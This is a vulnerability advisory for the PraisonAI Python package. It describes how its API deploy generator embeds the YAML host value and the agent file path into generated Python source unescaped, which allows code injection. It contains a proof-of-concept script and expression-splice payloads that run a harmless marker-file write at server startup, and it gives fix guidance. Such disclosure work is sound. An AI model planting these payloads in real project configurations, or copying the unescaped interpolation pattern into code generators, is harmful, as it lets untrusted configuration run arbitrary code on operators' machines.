GHSA-79fv-7hq9-w7xg: Code Injection

Published Oct 8, 2026
·
Updated

API deploy code generator embeds unescaped YAML fields into Python source

Summary

PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agentsfile directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

Technical Details

The vulnerable path starts with deployment configuration parsing. Deploy.fromyaml() reads the operator-supplied agents.yaml, validateagentsyaml() accepts deploy.api.host as a string, and API deployments call startapiserver(self.agentsfile, self.config.api). startapiserver() calls generateapiservercode() and executes the generated Python file with python.

The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:

python def generateapiservercode(agentsfile: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agentfile="{agentsfile}") ... "agentfile": "{agentsfile}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) '''

The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:

text ' + (import("pathlib").Path("poc.txt").writetext("DEPLOYAPIHOSTCODEEXECUTED") and "") + '

The generated startup code then becomes equivalent to:

python app.run( host='' + (import("pathlib").Path("poc.txt").writetext("DEPLOYAPIHOSTCODEEXECUTED") and "") + '', port=8005, debug=False, )

That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.

agentsfile has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agentfile=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.

PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as main; it also includes a safe-host negative control and the secondary agentsfile route-time interpolation check.

python from pathlib import Path import json import sys import tempfile import types

import yaml

def installstubs(): class FakeApp: def init(self, name): self.name = name

def route(self, args, kwargs): def deco(func): return func

return deco

def run(self, args, kwargs): return None

flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, getjson=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask

flaskcors = types.ModuleType("flaskcors") flaskcors.CORS = lambda app: app sys.modules["flaskcors"] = flaskcors

praisonaimod = types.ModuleType("praisonai")

class FakePraisonAI: def init(self, agentfile): self.agentfile = agentfile

def run(self): return "ok"

praisonaimod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonaimod

def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generateapiservercode from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validateagentsyaml

installstubs()

with tempfile.TemporaryDirectory() as tmp: tmppath = Path(tmp) hostmarker = tmppath / "host-marker.txt" filemarker = tmppath / "agent-file-marker.txt" hostpayload = "' + (import(\"pathlib\").Path(" + repr(str(hostmarker)) + ").writetext(\"DEPLOYAPIHOSTCODEEXECUTED\") and \"\") + '" agentsyaml = tmppath / "agents.yaml" agentsyaml.writetext(yaml.safedump({ "deploy": { "type": "api", "api": {"host": hostpayload, "port": 8005, "authenabled": False}, }, "agents": [{"name": "demo", "role": "demo", "goal": "demo"}], })) parsedconfig = validateagentsyaml(str(agentsyaml))

results = [] for label, config in [ ("safehost", APIConfig(host="127.0.0.1", authenabled=False)), ("malicioushostfromyaml", parsedconfig.api), ]: hostmarker.unlink(missingok=True) code = generateapiservercode("agents.yaml", config) compile(code, f"<generated-{label}>", "exec") exec(code, {"name": "main"}) results.append({ "case": label, "compiled": True, "hostpreservedbyyamlparser": config.host == hostpayload if label.startswith("malicious") else None, "markerexistsafterstartup": hostmarker.exists(), "markercontents": hostmarker.readtext() if hostmarker.exists() else None, "generatedcontainsrawhost": config.host in code, })

filepayload = "\" + (import(\"pathlib\").Path(" + repr(str(filemarker)) + ").writetext(\"DEPLOYAPIAGENTFILECODEEXECUTED\") and \"\") + \"" filemarker.unlink(missingok=True) code = generateapiservercode(filepayload, APIConfig(host="127.0.0.1", authenabled=False)) compile(code, "<generated-agent-file>", "exec") namespace = {"name": "generatedagentfile"} exec(code, namespace) namespace"listagents" results.append({ "case": "maliciousagentfileroutevalue", "compiled": True, "markerexistsafterlistagents": filemarker.exists(), "markercontents": filemarker.readtext() if filemarker.exists() else None, "generatedcontainsrawagentfile": filepayload in code, })

print(json.dumps(results, indent=2)) return 0 if results[1]["markerexistsafterstartup"] and results[2]["markerexistsafterlistagents"] else 1

if name == "main": raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))

PoC

Command used against current source:

sh uv run --with pydantic --with pyyaml python povdeployapiconfiginjection.py /path/to/PraisonAI

Decisive output:

json [ { "case": "safehost", "compiled": true, "hostpreservedbyyamlparser": null, "markerexistsafterstartup": false, "markercontents": null, "generatedcontainsrawhost": true }, { "case": "malicioushostfromyaml", "compiled": true, "hostpreservedbyyamlparser": true, "markerexistsafterstartup": true, "markercontents": "DEPLOYAPIHOSTCODEEXECUTED", "generatedcontainsrawhost": true }, { "case": "maliciousagentfileroutevalue", "compiled": true, "markerexistsafterlistagents": true, "markercontents": "DEPLOYAPIAGENTFILECODEEXECUTED", "generatedcontainsrawagentfile": true } ]

The safehost negative control compiles and evaluates the generated module without a marker side effect. The malicioushostfromyaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The maliciousagentfileroutevalue case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.

Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agentsfile in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

Affected Package/Versions

Package: praisonai

Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0

Static sweep:

| Target | Result | | --- | --- | | v4.5.128 | affected; raw agentsfile and config.host interpolation present | | v4.6.58 | affected; raw agentsfile and config.host interpolation present | | v4.6.59 | affected; raw agentsfile and config.host interpolation present | | v4.6.60 | affected; raw agentsfile and config.host interpolation present | | v4.6.62 | affected; raw agentsfile and config.host interpolation present | | v4.6.63 | affected; raw agentsfile and config.host interpolation present | | current 1620b49f | affected; raw agentsfile and config.host interpolation present |

Suggested severity: High

Suggested CVSS v3.1:

text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Suggested CWEs:

- CWE-94: Improper Control of Generation of Code - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code - CWE-116: Improper Encoding or Escaping of Output

Advisory History

The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generateapiservercode() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agentsfile, not unauthenticated request access to the generated API.

This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generateapiservercode().

AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

References

- src/praisonai/praisonai/deploy/api.py: generateapiservercode() and startapiserver() - src/praisonai/praisonai/deploy/main.py: Deploy.fromyaml() and API/Docker deployment paths - src/praisonai/praisonai/cli/features/deploy.py: CLI deployment handler - GHSA-8444-4fhq-fxpq: prior praisonai deploy --type api generated API server authentication-default issue - GHSA-6rmh-7xcm-cpxj / CVE-2026-44338: prior generated API server authentication issue - CWE-94: https://cwe.mitre.org/data/definitions/94.html - CWE-95: https://cwe.mitre.org/data/definitions/95.html - CWE-116: https://cwe.mitre.org/data/definitions/116.html

Affected Software

1 affected componentFixes available
pip/praisonai<=4.6.77
4.6.78

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.6.78
  2. Compensating control

    Change generate_api_server_code() so deployment values are not interpolated directly into generated Python source: safely encode config.host and agents_file with repr() or json.dumps() at every generated site, or load them at runtime from a JSON sidecar, environment variable, or command-line argument.

Event History

Oct 8, 2026
Advisory Published
via GitHub·07:36 PM
Data Sourced
via GitHub·07:36 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What conditions are required to exploit this issue?

An attacker needs to cause an operator to use a malicious PraisonAI project or otherwise control values in its deployment configuration. The vulnerable API deployment flow must then be run, causing generated Python server code to execute.

2

Which inputs can become code injection sources?

The deploy.api.host value in agents.yaml is inserted into generated Python source without safe literal encoding and can execute during generated server startup. An attacker-controlled agents_file path is also embedded in generated route-handler expressions and can provide a route-time injection source.

3

Are ordinary API deployments affected?

The affected path is the API deployment generator: Deploy.from_yaml() reads agents.yaml, and API deployments call start_api_server(), which generates and runs a Python server file. Exploitation depends on attacker-controlled configuration or project inputs rather than merely having the package installed.

4

How can teams reduce risk before a fix is available?

Do not run the API deploy flow against untrusted PraisonAI projects or unreviewed agents.yaml files. Restrict who can modify deploy.api.host and the agent file path, and inspect these values for Python-expression-like content before deployment.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203